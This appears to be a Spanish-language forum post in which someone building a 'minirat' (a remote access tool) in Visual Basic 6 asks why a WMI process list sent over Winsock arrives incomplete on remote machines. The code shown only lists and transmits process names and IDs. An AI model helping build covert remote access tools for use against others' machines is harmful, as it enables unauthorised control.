estoy intentando hacer un minirat,pero me quede detenido en la parte de enviar procesos,el code funciona muy bien pero el problema es que no llegan todos los procesos al cliente,solo llegan cuando es local.. y me han dicho que cuando envie los datos a cliente desde el server deben ser enviados por parte con la funcion Mid
el code que me da problemas es:
Server:
Código: Seleccionar todo
Public Function ListarProc()
Dim Process
For Each Process In GetObject("winmgmts:").ExecQuery("select * from Win32_Process")
If frmMain.WS.State = sckConnected Then ' Si esta conectado
' Envio los procesos
frmMain.WS.SendData "Process$" & "|" & Process.name & "|" & Process.ProcessID & "|"
End If
DoEvents
Next
End Function
y este code:
Código: Seleccionar todo
Case "Process$"
With listview_procesos.ListItems.Add(, , data(1))
.SubItems(1) = data(2)
End With
con eso si lo pruebo en local funciona pero con una pc remota solo recibo algunos procesos, como lo puedo enviar por partes usando mid ?
Salu2!
